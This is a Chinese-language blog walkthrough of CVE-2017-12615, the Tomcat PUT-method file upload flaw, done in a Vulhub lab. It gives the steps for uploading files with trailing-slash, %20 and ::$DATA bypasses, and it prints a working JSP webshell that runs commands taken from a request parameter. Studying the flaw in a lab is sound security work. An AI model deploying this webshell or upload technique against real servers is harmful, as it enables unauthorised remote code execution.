CVE-2017-12615 Tomcat任意文件上传漏洞详解

今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2017-12615 Tomcat任意文件上传漏洞详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、漏洞简介

Tomca的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。

二、Vulhub漏洞环境启动

接下来,我们就使用Vulhub来快速搭建漏洞环境,Vulhub靶场的下载和安装请参考:Vulhub漏洞靶场搭建和使用
我们在安装好Vulhub靶场后,执行命令:

docker-compose build

即可远程拉取靶场,该命令执行过程如下所示:
在这里插入图片描述
执行结束后如下所示:
在这里插入图片描述
靶场拉取完毕后,就可以启动靶场了,靶场启动命令是:

docker-compose up -d

该命令执行结果如下所示:
在这里插入图片描述
靶场启动完成后,可以执行命令:

docker-compose config

来查看靶场的配置,该命令执行结果如下所示:
在这里插入图片描述
这样,我们就可以看到,我们的靶场已经启动成功,并且开放了8080的端口供我们访问。

三、漏洞实战

接下来,我们就可以进行实战了。
首先,我们先抓取一个访问该站点的数据包,如下所示:
在这里插入图片描述
接下来,我们将该数据包发送到Repeater模块,将数据包中的方法改为PUT,并访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包如下所示:
在这里插入图片描述
从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!
我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问,如下所示:
在这里插入图片描述
同样的,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果,这两种方式的文件上传数据包构建如下所示:

在这里插入图片描述
在这里插入图片描述
这两种方式上传文件访问(注意以这两种方式访问,需要在后面添加%20或者是::$DATA)结果如下所示:
在这里插入图片描述
在这里插入图片描述
接下来开始实战,我们把上述简单的测试内容换成JSP的带回显的木马,内容如下所示:

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

然后将其作为数据包的内容,以同样的方式上传,数据包构造以及上传结果如下所示:
在这里插入图片描述
这样,我们就可以通过command参数的控制来执行命令了,结果如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200


版权声明:本文为weixin_40228200原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。